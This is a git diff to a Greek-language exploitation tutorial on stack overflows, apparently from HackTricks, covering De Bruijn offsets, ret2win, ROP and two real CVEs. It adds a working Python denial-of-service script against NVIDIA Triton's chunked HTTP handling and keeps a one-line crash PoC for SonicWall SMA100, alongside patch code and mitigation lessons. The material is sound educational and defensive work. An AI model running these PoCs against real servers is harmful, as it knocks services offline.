diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index f9ea001cd..4c4d07d44 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -27,7 +27,7 @@ printf("You entered: %s\n", buffer); Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους _n_ εμφανίζεται ακριβώς μία φορά** ως συνεχής υποακολουθία. -Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύψουν. +Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που τελείωσαν επικαλύπτοντάς το. Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό: ```python @@ -53,11 +53,11 @@ pattern search $rsp #Search the offset given the content of $rsp Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\ Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου έχει καθορίσει ο χρήστης** σε αυτόν τον δείκτη. -Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF). +Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη ορισμένων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF). ### Ret2win -Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί: +Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί: {{#ref}} ret2win/ @@ -65,7 +65,7 @@ ret2win/ ### Stack Shellcode -Σε αυτό το σενάριο, ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να πηδήξει στο shellcode και να εκτελέσει αυθαίρετο κώδικα: +Σε αυτό το σενάριο, ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να μεταπηδήσει στο shellcode και να εκτελέσει αυθαίρετο κώδικα: {{#ref}} stack-shellcode/ @@ -73,7 +73,7 @@ stack-shellcode/ ### ROP & Ret2... τεχνικές -Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό: +Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό αρχείο: {{#ref}} ../rop-return-oriented-programing/ @@ -97,7 +97,7 @@ stack-shellcode/ ### Παράδειγμα Πραγματικού Κόσμου: CVE-2025-40596 (SonicWall SMA100) -Μια καλή επίδειξη του γιατί **`sscanf` δεν θα πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN της SonicWall, SMA100. +Μια καλή επίδειξη του γιατί **`sscanf` δεν θα πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN SMA100 της SonicWall. Η ευάλωτη ρουτίνα μέσα στο `/usr/src/EasyAccess/bin/httpd` προσπαθεί να εξαγάγει την έκδοση και το σημείο πρόσβασης από οποιοδήποτε URI που αρχίζει με `/__api__/`: ```c char version[3]; @@ -107,7 +107,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. Η πρώτη μετατροπή (`%2s`) αποθηκεύει με ασφάλεια **δύο** bytes στο `version` (π.χ. `"v1"`). 2. Η δεύτερη μετατροπή (`%s`) **δεν έχει καθοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο NUL byte**. -3. Επειδή το `endpoint` βρίσκεται στη **στοίβα** και είναι **0x800 bytes** μακρύ, η παροχή ενός μονοπατιού μεγαλύτερου από 0x800 bytes διαφθείρει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του **stack canary** και της **αποθηκευμένης διεύθυνσης επιστροφής**. +3. Επειδή το `endpoint` βρίσκεται στη **στοίβα** και έχει μήκος **0x800 bytes**, η παροχή ενός μονοπατιού μεγαλύτερου από 0x800 bytes διαφθείρει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του **stack canary** και της **αποθηκευμένης διεύθυνσης επιστροφής**. Μια απόδειξη-έννοια μίας γραμμής είναι αρκετή για να προκαλέσει την κατάρρευση **πριν από την αυθεντικοποίηση**: ```python @@ -116,12 +116,72 @@ warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Ακόμα και αν οι stack canaries τερματίζουν τη διαδικασία, ένας επιτιθέμενος αποκτά ακόμα ένα **Denial-of-Service** primitive (και, με επιπλέον διαρροές πληροφοριών, πιθανώς εκτέλεση κώδικα). Το μάθημα είναι απλό: +Ακόμα και αν οι stack canaries τερματίζουν τη διαδικασία, ένας επιτιθέμενος αποκτά μια **Denial-of-Service** πρωτοβουλία (και, με επιπλέον διαρροές πληροφοριών, πιθανώς εκτέλεση κώδικα). Το μάθημα είναι απλό: -* Πάντα να παρέχετε ένα **μέγιστο πλάτος πεδίου** (π.χ. `%511s`). +* Πάντα να παρέχετε μια **μέγιστη πλάτος πεδίου** (π.χ. `%511s`). * Προτιμήστε ασφαλέστερες εναλλακτικές όπως `snprintf`/`strncpy_s`. -## References +### Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) + +Ο NVIDIA Triton Inference Server (≤ v25.06) περιείχε πολλαπλά **stack-based overflows** που ήταν προσβάσιμα μέσω του HTTP API του. +Το ευάλωτο μοτίβο εμφανίστηκε επανειλημμένα στα `http_server.cc` και `sagemaker_server.cc`: +```c +int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); +if (n > 0) { +/* allocates 16 * n bytes on the stack */ +struct evbuffer_iovec *v = (struct evbuffer_iovec *) +alloca(sizeof(struct evbuffer_iovec) * n); +... +} +``` +1. `evbuffer_peek` (libevent) επιστρέφει τον **αριθμό των εσωτερικών τμημάτων buffer** που συνθέτουν το τρέχον σώμα του HTTP request. +2. Κάθε τμήμα προκαλεί την κατανομή ενός **16-byte** `evbuffer_iovec` στη **στοίβα** μέσω `alloca()` – **χωρίς κανένα ανώτατο όριο**. +3. Εκμεταλλευόμενος το **HTTP _chunked transfer-encoding_**, ένας πελάτης μπορεί να αναγκάσει το αίτημα να διαχωριστεί σε **εκατοντάδες χιλιάδες τμήματα 6-byte** (`"1\r\nA\r\n"`). Αυτό καθιστά το `n` να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί η στοίβα. + +#### Proof-of-Concept (DoS) +```python +#!/usr/bin/env python3 +import socket, sys + +def exploit(host="localhost", port=8000, chunks=523_800): +s = socket.create_connection((host, port)) +s.sendall(( +f"POST /v2/models/add_sub/infer HTTP/1.1\r\n" +f"Host: {host}:{port}\r\n" +"Content-Type: application/octet-stream\r\n" +"Inference-Header-Content-Length: 0\r\n" +"Transfer-Encoding: chunked\r\n" +"Connection: close\r\n\r\n" +).encode()) + +for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc +s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x +s.sendall(b"0\r\n\r\n") # end of chunks +s.close() + +if __name__ == "__main__": +exploit(*sys.argv[1:]) +``` +Ένα αίτημα ~3 MB είναι αρκετό για να αντικαταστήσει τη σωσμένη διεύθυνση επιστροφής και να **καταρρεύσει** το daemon σε μια προεπιλεγμένη έκδοση. + +#### Patch & Mitigation +Η έκδοση 25.07 αντικαθιστά την ανασφαλή κατανομή στοίβας με ένα **heap-backed `std::vector`** και διαχειρίζεται με κομψό τρόπο το `std::bad_alloc`: +```c++ +std::vector v_vec; +try { +v_vec = std::vector(n); +} catch (const std::bad_alloc &e) { +return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); +} +struct evbuffer_iovec *v = v_vec.data(); +``` +Μαθήματα που αποκομίστηκαν: +* Ποτέ μην καλείτε `alloca()` με μεγέθη που ελέγχονται από τον επιτιθέμενο. +* Οι κατακερματισμένες αιτήσεις μπορούν να αλλάξουν δραστικά το σχήμα των buffers στην πλευρά του διακομιστή. +* Επικυρώστε / περιορίστε οποιαδήποτε τιμή προέρχεται από την είσοδο του πελάτη *πριν* τη χρησιμοποιήσετε σε κατανομές μνήμης. + +## Αναφορές * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) +* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) {{#include ../../banners/hacktricks-training.md}}